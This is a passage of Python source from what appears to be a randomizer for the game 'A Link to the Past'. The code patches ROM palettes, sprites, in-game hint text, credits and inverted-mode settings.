rom.write_byte(0x6FA24, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA26, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA28, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA2A, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA2C, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA2E, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA30, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x65561, {'red': 0x05, 'blue': 0x0D, 'green': 0x19, 'yellow': 0x09}[color])
# write link sprite if required
if sprite is not None:
write_sprite(rom, sprite)
default_ow_palettes(rom)
if ow_palettes == 'random':
randomize_ow_palettes(rom)
elif ow_palettes == 'blackout':
blackout_ow_palettes(rom)
default_uw_palettes(rom)
if uw_palettes == 'random':
randomize_uw_palettes(rom)
elif uw_palettes == 'blackout':
blackout_uw_palettes(rom)
if isinstance(rom, LocalRom):
rom.write_crc()
def write_sprite(rom, sprite):
if not sprite.valid:
return
rom.write_bytes(0x80000, sprite.sprite)
rom.write_bytes(0xDD308, sprite.palette)
rom.write_bytes(0xDEDF5, sprite.glove_palette)
def set_color(rom, address, color, shade):
r = round(min(color[0], 0xFF) * pow(0.8, shade) * 0x1F / 0xFF)
g = round(min(color[1], 0xFF) * pow(0.8, shade) * 0x1F / 0xFF)
b = round(min(color[2], 0xFF) * pow(0.8, shade) * 0x1F / 0xFF)
rom.write_bytes(address, ((b << 10) | (g << 5) | (r << 0)).to_bytes(2, byteorder='little', signed=False))
def default_ow_palettes(rom):
if not rom.orig_buffer:
return
rom.write_bytes(0xDE604, rom.orig_buffer[0xDE604:0xDEBB4])
for address in [0x067FB4, 0x067F94, 0x067FC6, 0x067FE6, 0x067FE1, 0x05FEA9, 0x05FEB3]:
rom.write_bytes(address, rom.orig_buffer[address:address+2])
def randomize_ow_palettes(rom):
grass, grass2, grass3, dirt, dirt2, water, clouds, dwdirt,\
dwgrass, dwwater, dwdmdirt, dwdmgrass, dwdmclouds1, dwdmclouds2 = [[random.randint(60, 215) for _ in range(3)] for _ in range(14)]
dwtree = [c + random.randint(-20, 10) for c in dwgrass]
treeleaf = [c + random.randint(-20, 10) for c in grass]
patches = {0x067FB4: (grass, 0), 0x067F94: (grass, 0), 0x067FC6: (grass, 0), 0x067FE6: (grass, 0), 0x067FE1: (grass, 3), 0x05FEA9: (grass, 0), 0x05FEB3: (dwgrass, 1),
0x0DD4AC: (grass, 2), 0x0DE6DE: (grass2, 2), 0x0DE6E0: (grass2, 1), 0x0DD4AE: (grass2, 1), 0x0DE9FA: (grass2, 1), 0x0DEA0E: (grass2, 1), 0x0DE9FE: (grass2, 0),
0x0DD3D2: (grass2, 2), 0x0DE88C: (grass2, 2), 0x0DE8A8: (grass2, 2), 0x0DE9F8: (grass2, 2), 0x0DEA4E: (grass2, 2), 0x0DEAF6: (grass2, 2), 0x0DEB2E: (grass2, 2), 0x0DEB4A: (grass2, 2),
0x0DE892: (grass, 1), 0x0DE886: (grass, 0), 0x0DE6D2: (grass, 0), 0x0DE6FA: (grass, 3), 0x0DE6FC: (grass, 0), 0x0DE6FE: (grass, 0), 0x0DE70A: (grass, 0), 0x0DE708: (grass, 2), 0x0DE70C: (grass, 1),
0x0DE6D4: (dirt, 2), 0x0DE6CA: (dirt, 5), 0x0DE6CC: (dirt, 4), 0x0DE6CE: (dirt, 3), 0x0DE6E2: (dirt, 2), 0x0DE6D8: (dirt, 5), 0x0DE6DA: (dirt, 4), 0x0DE6DC: (dirt, 2),
0x0DE6F0: (dirt, 2), 0x0DE6E6: (dirt, 5), 0x0DE6E8: (dirt, 4), 0x0DE6EA: (dirt, 2), 0x0DE6EC: (dirt, 4), 0x0DE6EE: (dirt, 2),
0x0DE91E: (grass, 0),
0x0DE920: (dirt, 2), 0x0DE916: (dirt, 3), 0x0DE934: (dirt, 3),
0x0DE92C: (grass, 0), 0x0DE93A: (grass, 0), 0x0DE91C: (grass, 1), 0x0DE92A: (grass, 1), 0x0DEA1C: (grass, 0), 0x0DEA2A: (grass, 0), 0x0DEA30: (grass, 0),
0x0DEA2E: (dirt, 5),
0x0DE884: (grass, 3), 0x0DE8AE: (grass, 3), 0x0DE8BE: (grass, 3), 0x0DE8E4: (grass, 3), 0x0DE938: (grass, 3), 0x0DE9C4: (grass, 3), 0x0DE6D0: (grass, 4),
0x0DE890: (treeleaf, 1), 0x0DE894: (treeleaf, 0),
0x0DE924: (water, 3), 0x0DE668: (water, 3), 0x0DE66A: (water, 2), 0x0DE670: (water, 1), 0x0DE918: (water, 1), 0x0DE66C: (water, 0), 0x0DE91A: (water, 0), 0x0DE92E: (water, 1), 0x0DEA1A: (water, 1), 0x0DEA16: (water, 3), 0x0DEA10: (water, 4),
0x0DE66E: (dirt, 3), 0x0DE672: (dirt, 2), 0x0DE932: (dirt, 4), 0x0DE936: (dirt, 2), 0x0DE93C: (dirt, 1),
0x0DE756: (dirt2, 4), 0x0DE764: (dirt2, 4), 0x0DE772: (dirt2, 4), 0x0DE994: (dirt2, 4), 0x0DE9A2: (dirt2, 4), 0x0DE758: (dirt2, 3), 0x0DE766: (dirt2, 3), 0x0DE774: (dirt2, 3),
0x0DE996: (dirt2, 3), 0x0DE9A4: (dirt2, 3), 0x0DE75A: (dirt2, 2), 0x0DE768: (dirt2, 2), 0x0DE776: (dirt2, 2), 0x0DE778: (dirt2, 2), 0x0DE998: (dirt2, 2), 0x0DE9A6: (dirt2, 2),
0x0DE9AC: (dirt2, 1), 0x0DE99E: (dirt2, 1), 0x0DE760: (dirt2, 1), 0x0DE77A: (dirt2, 1), 0x0DE77C: (dirt2, 1), 0x0DE798: (dirt2, 1), 0x0DE980: (dirt2, 1),
0x0DE75C: (grass3, 2), 0x0DE786: (grass3, 2), 0x0DE794: (grass3, 2), 0x0DE99A: (grass3, 2), 0x0DE75E: (grass3, 1), 0x0DE788: (grass3, 1), 0x0DE796: (grass3, 1), 0x0DE99C: (grass3, 1),
0x0DE76A: (clouds, 2), 0x0DE9A8: (clouds, 2), 0x0DE76E: (clouds, 0), 0x0DE9AA: (clouds, 0), 0x0DE8DA: (clouds, 0), 0x0DE8D8: (clouds, 0), 0x0DE8D0: (clouds, 0), 0x0DE98C: (clouds, 2), 0x0DE990: (clouds, 0),
0x0DEB34: (dwtree, 4), 0x0DEB30: (dwtree, 3), 0x0DEB32: (dwtree, 1),
0x0DE710: (dwdirt, 5), 0x0DE71E: (dwdirt, 5), 0x0DE72C: (dwdirt, 5), 0x0DEAD6: (dwdirt, 5), 0x0DE712: (dwdirt, 4), 0x0DE720: (dwdirt, 4), 0x0DE72E: (dwdirt, 4), 0x0DE660: (dwdirt, 4),
0x0DEAD8: (dwdirt, 4), 0x0DEADA: (dwdirt, 3), 0x0DE714: (dwdirt, 3), 0x0DE722: (dwdirt, 3), 0x0DE730: (dwdirt, 3), 0x0DE732: (dwdirt, 3), 0x0DE734: (dwdirt, 2), 0x0DE736: (dwdirt, 2),
0x0DE728: (dwdirt, 2), 0x0DE71A: (dwdirt, 2), 0x0DE664: (dwdirt, 2), 0x0DEAE0: (dwdirt, 2),
0x0DE716: (dwgrass, 3), 0x0DE740: (dwgrass, 3), 0x0DE74E: (dwgrass, 3), 0x0DEAC0: (dwgrass, 3), 0x0DEACE: (dwgrass, 3), 0x0DEADC: (dwgrass, 3), 0x0DEB24: (dwgrass, 3), 0x0DE752: (dwgrass, 2),
0x0DE718: (dwgrass, 1), 0x0DE742: (dwgrass, 1), 0x0DE750: (dwgrass, 1), 0x0DEB26: (dwgrass, 1), 0x0DEAC2: (dwgrass, 1), 0x0DEAD0: (dwgrass, 1), 0x0DEADE: (dwgrass, 1),
0x0DE65A: (dwwater, 5), 0x0DE65C: (dwwater, 3), 0x0DEAC8: (dwwater, 3), 0x0DEAD2: (dwwater, 2), 0x0DEABC: (dwwater, 2), 0x0DE662: (dwwater, 2), 0x0DE65E: (dwwater, 1), 0x0DEABE: (dwwater, 1), 0x0DEA98: (dwwater, 2),
0x0DE79A: (dwdmdirt, 6), 0x0DE7A8: (dwdmdirt, 6), 0x0DE7B6: (dwdmdirt, 6), 0x0DEB60: (dwdmdirt, 6), 0x0DEB6E: (dwdmdirt, 6), 0x0DE93E: (dwdmdirt, 6), 0x0DE94C: (dwdmdirt, 6), 0x0DEBA6: (dwdmdirt, 6),
0x0DE79C: (dwdmdirt, 4), 0x0DE7AA: (dwdmdirt, 4), 0x0DE7B8: (dwdmdirt, 4), 0x0DEB70: (dwdmdirt, 4), 0x0DEBA8: (dwdmdirt, 4), 0x0DEB72: (dwdmdirt, 3), 0x0DEB74: (dwdmdirt, 3), 0x0DE79E: (dwdmdirt, 3), 0x0DE7AC: (dwdmdirt, 3), 0x0DEBAA: (dwdmdirt, 3), 0x0DE7A0: (dwdmdirt, 3),
0x0DE7BC: (dwdmgrass, 3),
0x0DEBAC: (dwdmdirt, 2), 0x0DE7AE: (dwdmdirt, 2), 0x0DE7C2: (dwdmdirt, 2), 0x0DE7A6: (dwdmdirt, 2), 0x0DEB7A: (dwdmdirt, 2), 0x0DEB6C: (dwdmdirt, 2), 0x0DE7C0: (dwdmdirt, 2),
0x0DE7A2: (dwdmgrass, 3), 0x0DE7BE: (dwdmgrass, 3), 0x0DE7CC: (dwdmgrass, 3), 0x0DE7DA: (dwdmgrass, 3), 0x0DEB6A: (dwdmgrass, 3), 0x0DE948: (dwdmgrass, 3), 0x0DE956: (dwdmgrass, 3), 0x0DE964: (dwdmgrass, 3), 0x0DE7CE: (dwdmgrass, 1), 0x0DE7A4: (dwdmgrass, 1), 0x0DEBA2: (dwdmgrass, 1), 0x0DEBB0: (dwdmgrass, 1),
0x0DE644: (dwdmclouds1, 2), 0x0DEB84: (dwdmclouds1, 2), 0x0DE648: (dwdmclouds1, 1), 0x0DEB88: (dwdmclouds1, 1),
0x0DEBAE: (dwdmclouds2, 2), 0x0DE7B0: (dwdmclouds2, 2), 0x0DE7B4: (dwdmclouds2, 0), 0x0DEB78: (dwdmclouds2, 0), 0x0DEBB2: (dwdmclouds2, 0)
}
for address, (color, shade) in patches.items():
set_color(rom, address, color, shade)
def blackout_ow_palettes(rom):
rom.write_bytes(0xDE604, [0] * 0xC4)
for i in range(0xDE6C8, 0xDE86C, 70):
rom.write_bytes(i, [0] * 64)
rom.write_bytes(i+66, [0] * 4)
rom.write_bytes(0xDE86C, [0] * 0x348)
for address in [0x067FB4, 0x067F94, 0x067FC6, 0x067FE6, 0x067FE1, 0x05FEA9, 0x05FEB3]:
rom.write_bytes(address, [0,0])
def default_uw_palettes(rom):
if not rom.orig_buffer:
return
rom.write_bytes(0xDD734, rom.orig_buffer[0xDD734:0xDE544])
def randomize_uw_palettes(rom):
for dungeon in range(20):
wall, pot, chest, floor1, floor2, floor3 = [[random.randint(60, 240) for _ in range(3)] for _ in range(6)]
for i in range(5):
shade = 10 - (i * 2)
set_color(rom, 0x0DD734 + (0xB4 * dungeon) + (i * 2), wall, shade)
set_color(rom, 0x0DD770 + (0xB4 * dungeon) + (i * 2), wall, shade)
set_color(rom, 0x0DD744 + (0xB4 * dungeon) + (i * 2), wall, shade)
if dungeon == 0:
set_color(rom, 0x0DD7CA + (0xB4 * dungeon) + (i * 2), wall, shade)
if dungeon == 2:
set_color(rom, 0x0DD74E + (0xB4 * dungeon), wall, 3)
set_color(rom, 0x0DD750 + (0xB4 * dungeon), wall, 5)
set_color(rom, 0x0DD73E + (0xB4 * dungeon), wall, 3)
set_color(rom, 0x0DD740 + (0xB4 * dungeon), wall, 5)
set_color(rom, 0x0DD7E4 + (0xB4 * dungeon), wall, 4)
set_color(rom, 0x0DD7E6 + (0xB4 * dungeon), wall, 2)
set_color(rom, 0xDD7DA + (0xB4 * dungeon), wall, 10)
set_color(rom, 0xDD7DC + (0xB4 * dungeon), wall, 8)
set_color(rom, 0x0DD75A + (0xB4 * dungeon), pot, 7)
set_color(rom, 0x0DD75C + (0xB4 * dungeon), pot, 1)
set_color(rom, 0x0DD75E + (0xB4 * dungeon), pot, 3)
set_color(rom, 0x0DD76A + (0xB4 * dungeon), wall, 7)
set_color(rom, 0x0DD76C + (0xB4 * dungeon), wall, 2)
set_color(rom, 0x0DD76E + (0xB4 * dungeon), wall, 4)
set_color(rom, 0x0DD7AE + (0xB4 * dungeon), chest, 2)
set_color(rom, 0x0DD7B0 + (0xB4 * dungeon), chest, 0)
for i in range(3):
shade = 6 - (i * 2)
set_color(rom, 0x0DD764 + (0xB4 * dungeon) + (i * 2), floor1, shade)
set_color(rom, 0x0DD782 + (0xB4 * dungeon) + (i * 2), floor1, shade + 3)
set_color(rom, 0x0DD7A0 + (0xB4 * dungeon) + (i * 2), floor2, shade)
set_color(rom, 0x0DD7BE + (0xB4 * dungeon) + (i * 2), floor2, shade + 3)
set_color(rom, 0x0DD7E2 + (0xB4 * dungeon), floor3, 3)
set_color(rom, 0x0DD796 + (0xB4 * dungeon), floor3, 4)
def blackout_uw_palettes(rom):
for i in range(0xDD734, 0xDE544, 180):
rom.write_bytes(i, [0] * 38)
rom.write_bytes(i+44, [0] * 76)
rom.write_bytes(i+136, [0] * 44)
def get_hash_string(hash):
return ", ".join([hash_alphabet[code & 0x1F] for code in hash])
def write_string_to_rom(rom, target, string):
address, maxbytes = text_addresses[target]
rom.write_bytes(address, MultiByteTextMapper.convert(string, maxbytes))
def write_strings(rom, world, player, team):
tt = TextTable()
tt.removeUnwantedText()
# Let's keep this guy's text accurate to the shuffle setting.
if world.shuffle[player] in ['vanilla', 'dungeonsfull', 'dungeonssimple']:
tt['kakariko_flophouse_man_no_flippers'] = 'I really hate mowing my yard.\n{PAGEBREAK}\nI should move.'
tt['kakariko_flophouse_man'] = 'I really hate mowing my yard.\n{PAGEBREAK}\nI should move.'
def hint_text(dest, ped_hint=False):
if not dest:
return "nothing"
if ped_hint:
hint = dest.pedestal_hint_text if dest.pedestal_hint_text else "unknown item"
else:
hint = dest.hint_text if dest.hint_text else "something"
if dest.player != player:
if ped_hint:
hint += f" for {world.player_names[dest.player][team]}!"
elif type(dest) in [Region, Location]:
hint += f" in {world.player_names[dest.player][team]}'s world"
else:
hint += f" for {world.player_names[dest.player][team]}"
return hint
# For hints, first we write hints about entrances, some from the inconvenient list others from all reasonable entrances.
if world.hints[player]:
tt['sign_north_of_links_house'] = '> Randomizer The telepathic tiles can have hints!'
hint_locations = HintLocations.copy()
random.shuffle(hint_locations)
all_entrances = [entrance for entrance in world.get_entrances() if entrance.player == player]
random.shuffle(all_entrances)
#First we take care of the one inconvenient dungeon in the appropriately simple shuffles.
entrances_to_hint = {}
entrances_to_hint.update(InconvenientDungeonEntrances)
if world.shuffle_ganon:
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Ganons Tower': 'The sealed castle door'})
else:
entrances_to_hint.update({'Ganons Tower': 'Ganon\'s Tower'})
if world.shuffle[player] in ['simple', 'restricted', 'restricted_legacy']:
for entrance in all_entrances:
if entrance.name in entrances_to_hint:
this_hint = entrances_to_hint[entrance.name] + ' leads to ' + hint_text(entrance.connected_region) + '.'
tt[hint_locations.pop(0)] = this_hint
entrances_to_hint = {}
break
#Now we write inconvenient locations for most shuffles and finish taking care of the less chaotic ones.
entrances_to_hint.update(InconvenientOtherEntrances)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
hint_count = 0
elif world.shuffle[player] in ['simple', 'restricted', 'restricted_legacy']:
hint_count = 2
else:
hint_count = 4
for entrance in all_entrances:
if entrance.name in entrances_to_hint:
if hint_count > 0:
this_hint = entrances_to_hint[entrance.name] + ' leads to ' + hint_text(entrance.connected_region) + '.'
tt[hint_locations.pop(0)] = this_hint
entrances_to_hint.pop(entrance.name)
hint_count -= 1
else:
break
#Next we handle hints for randomly selected other entrances, curating the selection intelligently based on shuffle.
if world.shuffle[player] not in ['simple', 'restricted', 'restricted_legacy']:
entrances_to_hint.update(ConnectorEntrances)
entrances_to_hint.update(DungeonEntrances)
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Agahnims Tower': 'The dark mountain tower'})
else:
entrances_to_hint.update({'Agahnims Tower': 'The sealed castle door'})
elif world.shuffle[player] == 'restricted':
entrances_to_hint.update(ConnectorEntrances)
entrances_to_hint.update(OtherEntrances)
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Dark Sanctuary': 'The dark sanctuary cave'})
entrances_to_hint.update({'Inverted Big Bomb Shop': 'The old hero\'s dark home'})
entrances_to_hint.update({'Inverted Links House': 'The old hero\'s light home'})
else:
entrances_to_hint.update({'Dark Sanctuary Hint': 'The dark sanctuary cave'})
entrances_to_hint.update({'Big Bomb Shop': 'The old bomb shop'})
if world.shuffle[player] in ['insanity', 'madness_legacy', 'insanity_legacy']:
entrances_to_hint.update(InsanityEntrances)
if world.shuffle_ganon:
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Pyramid Entrance': 'The extra castle passage'})
else:
entrances_to_hint.update({'Pyramid Ledge': 'The pyramid ledge'})
hint_count = 4 if world.shuffle[player] not in ['vanilla', 'dungeonssimple', 'dungeonsfull'] else 0
for entrance in all_entrances:
if entrance.name in entrances_to_hint:
if hint_count > 0:
this_hint = entrances_to_hint[entrance.name] + ' leads to ' + hint_text(entrance.connected_region) + '.'
tt[hint_locations.pop(0)] = this_hint
entrances_to_hint.pop(entrance.name)
hint_count -= 1
else:
break
# Next we write a few hints for specific inconvenient locations. We don't make many because in entrance this is highly unpredictable.
locations_to_hint = InconvenientLocations.copy()
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
locations_to_hint.extend(InconvenientVanillaLocations)
random.shuffle(locations_to_hint)
hint_count = 3 if world.shuffle[player] not in ['vanilla', 'dungeonssimple', 'dungeonsfull'] else 5
del locations_to_hint[hint_count:]
for location in locations_to_hint:
if location == 'Swamp Left':
if random.randint(0, 1) == 0:
first_item = hint_text(world.get_location('Swamp Palace - West Chest', player).item)
second_item = hint_text(world.get_location('Swamp Palace - Big Key Chest', player).item)
else:
second_item = hint_text(world.get_location('Swamp Palace - West Chest', player).item)
first_item = hint_text(world.get_location('Swamp Palace - Big Key Chest', player).item)
this_hint = ('The westmost chests in Swamp Palace contain ' + first_item + ' and ' + second_item + '.')
tt[hint_locations.pop(0)] = this_hint
elif location == 'Mire Left':
if random.randint(0, 1) == 0:
first_item = hint_text(world.get_location('Misery Mire - Compass Chest', player).item)
second_item = hint_text(world.get_location('Misery Mire - Big Key Chest', player).item)
else:
second_item = hint_text(world.get_location('Misery Mire - Compass Chest', player).item)
first_item = hint_text(world.get_location('Misery Mire - Big Key Chest', player).item)
this_hint = ('The westmost chests in Misery Mire contain ' + first_item + ' and ' + second_item + '.')
tt[hint_locations.pop(0)] = this_hint
elif location == 'Tower of Hera - Big Key Chest':
this_hint = 'Waiting in the Tower of Hera basement leads to ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Ganons Tower - Big Chest':
this_hint = 'The big chest in Ganon\'s Tower contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Thieves\' Town - Big Chest':
this_hint = 'The big chest in Thieves\' Town contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Ice Palace - Big Chest':
this_hint = 'The big chest in Ice Palace contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Eastern Palace - Big Key Chest':
this_hint = 'The antifairy guarded chest in Eastern Palace contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Sahasrahla':
this_hint = 'Sahasrahla seeks a green pendant for ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Graveyard Cave':
this_hint = 'The cave north of the graveyard contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
else:
this_hint = location + ' contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
# Lastly we write hints to show where certain interesting items are. It is done the way it is to re-use the silver code and also to give one hint per each type of item regardless of how many exist. This supports many settings well.
items_to_hint = RelevantItems.copy()
if world.keyshuffle[player]:
items_to_hint.extend(SmallKeys)
if world.bigkeyshuffle[player]:
items_to_hint.extend(BigKeys)
random.shuffle(items_to_hint)
hint_count = 5 if world.shuffle[player] not in ['vanilla', 'dungeonssimple', 'dungeonsfull'] else 8
while hint_count > 0:
this_item = items_to_hint.pop(0)
this_location = world.find_items(this_item, player)
random.shuffle(this_location)
#This looks dumb but prevents hints for Skull Woods Pinball Room's key safely with any item pool.
if this_location:
if this_location[0].name == 'Skull Woods - Pinball Room':
this_location.pop(0)
if this_location:
this_hint = this_location[0].item.hint_text + ' can be found ' + hint_text(this_location[0]) + '.'
tt[hint_locations.pop(0)] = this_hint
hint_count -= 1
# All remaining hint slots are filled with junk hints. It is done this way to ensure the same junk hint isn't selected twice.
junk_hints = junk_texts.copy()
random.shuffle(junk_hints)
for location in hint_locations:
tt[location] = junk_hints.pop(0)
# We still need the older hints of course. Those are done here.
silverarrows = world.find_items('Silver Arrows', player)
random.shuffle(silverarrows)
silverarrow_hint = (' %s?' % hint_text(silverarrows[0]).replace('Ganon\'s', 'my')) if silverarrows else '?\nI think not!'
tt['ganon_phase_3_no_silvers'] = 'Did you find the silver arrows%s' % silverarrow_hint
tt['ganon_phase_3_no_silvers_alt'] = 'Did you find the silver arrows%s' % silverarrow_hint
prog_bow_locs = world.find_items('Progressive Bow', player)
distinguished_prog_bow_loc = next((location for location in prog_bow_locs if location.item.code == 0x65), None)
if distinguished_prog_bow_loc:
prog_bow_locs.remove(distinguished_prog_bow_loc)
silverarrow_hint = (' %s?' % hint_text(distinguished_prog_bow_loc).replace('Ganon\'s', 'my'))
tt['ganon_phase_3_no_silvers'] = 'Did you find the silver arrows%s' % silverarrow_hint
if any(prog_bow_locs):
silverarrow_hint = (' %s?' % hint_text(random.choice(prog_bow_locs)).replace('Ganon\'s', 'my'))
tt['ganon_phase_3_no_silvers_alt'] = 'Did you find the silver arrows%s' % silverarrow_hint
crystal5 = world.find_items('Crystal 5', player)[0]
crystal6 = world.find_items('Crystal 6', player)[0]
tt['bomb_shop'] = 'Big Bomb?\nMy supply is blocked until you clear %s and %s.' % (crystal5.hint_text, crystal6.hint_text)
greenpendant = world.find_items('Green Pendant', player)[0]
tt['sahasrahla_bring_courage'] = 'I lost my family heirloom in %s' % greenpendant.hint_text
tt['sign_ganons_tower'] = ('You need %d crystal to enter.' if world.crystals_needed_for_gt[player] == 1 else 'You need %d crystals to enter.') % world.crystals_needed_for_gt[player]
tt['sign_ganon'] = ('You need %d crystal to beat Ganon.' if world.crystals_needed_for_ganon[player] == 1 else 'You need %d crystals to beat Ganon.') % world.crystals_needed_for_ganon[player]
if world.goal[player] in ['dungeons']:
tt['sign_ganon'] = 'You need to complete all the dungeons.'
tt['uncle_leaving_text'] = Uncle_texts[random.randint(0, len(Uncle_texts) - 1)]
tt['end_triforce'] = "{NOBORDER}\n" + Triforce_texts[random.randint(0, len(Triforce_texts) - 1)]
tt['bomb_shop_big_bomb'] = BombShop2_texts[random.randint(0, len(BombShop2_texts) - 1)]
# this is what shows after getting the green pendant item in rando
tt['sahasrahla_quest_have_master_sword'] = Sahasrahla2_texts[random.randint(0, len(Sahasrahla2_texts) - 1)]
tt['blind_by_the_light'] = Blind_texts[random.randint(0, len(Blind_texts) - 1)]
if world.goal[player] in ['triforcehunt']:
tt['ganon_fall_in_alt'] = 'Why are you even here?\n You can\'t even hurt me! Get the Triforce Pieces.'
tt['ganon_phase_3_alt'] = 'Seriously? Go Away, I will not Die.'
tt['sign_ganon'] = 'Go find the Triforce pieces... Ganon is invincible!'
tt['murahdahla'] = "Hello @. I\nam Murahdahla, brother of\nSahasrahla and Aginah. Behold the power of\ninvisibility.\n\n\n\n… … …\n\nWait! you can see me? I knew I should have\nhidden in a hollow tree. If you bring\n%d triforce pieces, I can reassemble it." % world.treasure_hunt_count[player]
elif world.goal[player] in ['pedestal']:
tt['ganon_fall_in_alt'] = 'Why are you even here?\n You can\'t even hurt me! Your goal is at the pedestal.'
tt['ganon_phase_3_alt'] = 'Seriously? Go Away, I will not Die.'
tt['sign_ganon'] = 'You need to get to the pedestal... Ganon is invincible!'
else:
tt['ganon_fall_in'] = Ganon1_texts[random.randint(0, len(Ganon1_texts) - 1)]
tt['ganon_fall_in_alt'] = 'You cannot defeat me until you finish your goal!'
tt['ganon_phase_3_alt'] = 'Got wax in\nyour ears?\nI can not die!'
tt['kakariko_tavern_fisherman'] = TavernMan_texts[random.randint(0, len(TavernMan_texts) - 1)]
pedestalitem = world.get_location('Master Sword Pedestal', player).item
pedestal_text = 'Some Hot Air' if pedestalitem is None else hint_text(pedestalitem, True) if pedestalitem.pedestal_hint_text is not None else 'Unknown Item'
tt['mastersword_pedestal_translated'] = pedestal_text
pedestal_credit_text = 'and the Hot Air' if pedestalitem is None else pedestalitem.pedestal_credit_text if pedestalitem.pedestal_credit_text is not None else 'and the Unknown Item'
etheritem = world.get_location('Ether Tablet', player).item
ether_text = 'Some Hot Air' if etheritem is None else hint_text(etheritem, True) if etheritem.pedestal_hint_text is not None else 'Unknown Item'
tt['tablet_ether_book'] = ether_text
bombositem = world.get_location('Bombos Tablet', player).item
bombos_text = 'Some Hot Air' if bombositem is None else hint_text(bombositem, True) if bombositem.pedestal_hint_text is not None else 'Unknown Item'
tt['tablet_bombos_book'] = bombos_text
# inverted spawn menu changes
if world.mode[player] == 'inverted':
tt['menu_start_2'] = "{MENU}\n{SPEED0}\n≥@'s house\n Dark Chapel\n{CHOICE3}"
tt['menu_start_3'] = "{MENU}\n{SPEED0}\n≥@'s house\n Dark Chapel\n Mountain Cave\n{CHOICE2}"
tt['intro_main'] = CompressedTextMapper.convert(
"{INTRO}\n Episode III\n{PAUSE3}\n A Link to\n the Past\n"
+ "{PAUSE3}\nInverted\n Randomizer\n{PAUSE3}\nAfter mostly disregarding what happened in the first two games.\n"
+ "{PAUSE3}\nLink has been transported to the Dark World\n{PAUSE3}\nWhile he was slumbering\n"
+ "{PAUSE3}\nWhatever will happen?\n{PAUSE3}\n{CHANGEPIC}\nGanon has moved around all the items in Hyrule.\n"
+ "{PAUSE7}\nYou will have to find all the items necessary to beat Ganon.\n"
+ "{PAUSE7}\nThis is your chance to be a hero.\n{PAUSE3}\n{CHANGEPIC}\n"
+ "You must get the 7 crystals to beat Ganon.\n{PAUSE9}\n{CHANGEPIC}", False)
rom.write_bytes(0xE0000, tt.getBytes())
credits = Credits()
sickkiditem = world.get_location('Sick Kid', player).item
sickkiditem_text = random.choice(SickKid_texts) if sickkiditem is None or sickkiditem.sickkid_credit_text is None else sickkiditem.sickkid_credit_text
zoraitem = world.get_location('King Zora', player).item
zoraitem_text = random.choice(Zora_texts) if zoraitem is None or zoraitem.zora_credit_text is None else zoraitem.zora_credit_text
magicshopitem = world.get_location('Potion Shop', player).item
magicshopitem_text = random.choice(MagicShop_texts) if magicshopitem is None or magicshopitem.magicshop_credit_text is None else magicshopitem.magicshop_credit_text
fluteboyitem = world.get_location('Flute Spot', player).item
fluteboyitem_text = random.choice(FluteBoy_texts) if fluteboyitem is None or fluteboyitem.fluteboy_credit_text is None else fluteboyitem.fluteboy_credit_text
credits.update_credits_line('castle', 0, random.choice(KingsReturn_texts))
credits.update_credits_line('sanctuary', 0, random.choice(Sanctuary_texts))
credits.update_credits_line('kakariko', 0, random.choice(Kakariko_texts).format(random.choice(Sahasrahla_names)))
credits.update_credits_line('desert', 0, random.choice(DesertPalace_texts))
credits.update_credits_line('hera', 0, random.choice(MountainTower_texts))
credits.update_credits_line('house', 0, random.choice(LinksHouse_texts))
credits.update_credits_line('zora', 0, zoraitem_text)
credits.update_credits_line('witch', 0, magicshopitem_text)
credits.update_credits_line('lumberjacks', 0, random.choice(Lumberjacks_texts))
credits.update_credits_line('grove', 0, fluteboyitem_text)
credits.update_credits_line('well', 0, random.choice(WishingWell_texts))
credits.update_credits_line('smithy', 0, random.choice(Blacksmiths_texts))
credits.update_credits_line('kakariko2', 0, sickkiditem_text)
credits.update_credits_line('bridge', 0, random.choice(DeathMountain_texts))
credits.update_credits_line('woods', 0, random.choice(LostWoods_texts))
credits.update_credits_line('pedestal', 0, pedestal_credit_text)
(pointers, data) = credits.get_bytes()
rom.write_bytes(0x181500, data)
rom.write_bytes(0x76CC0, [byte for p in pointers for byte in [p & 0xFF, p >> 8 & 0xFF]])
def set_inverted_mode(world, player, rom):
rom.write_byte(snes_to_pc(0x0283E0), 0xF0) # residual portals
rom.write_byte(snes_to_pc(0x02B34D), 0xF0)
rom.write_byte(snes_to_pc(0x06DB78), 0x8B)
rom.write_byte(snes_to_pc(0x05AF79), 0xF0)
rom.write_byte(snes_to_pc(0x0DB3C5), 0xC6)
rom.write_byte(snes_to_pc(0x07A3F4), 0xF0) # duck
write_int16s(rom, snes_to_pc(0x02E849), [0x0043, 0x0056, 0x0058, 0x006C, 0x006F, 0x0070, 0x007B, 0x007F, 0x001B]) # dw flute
write_int16(rom, snes_to_pc(0x02E8D5), 0x07C8)
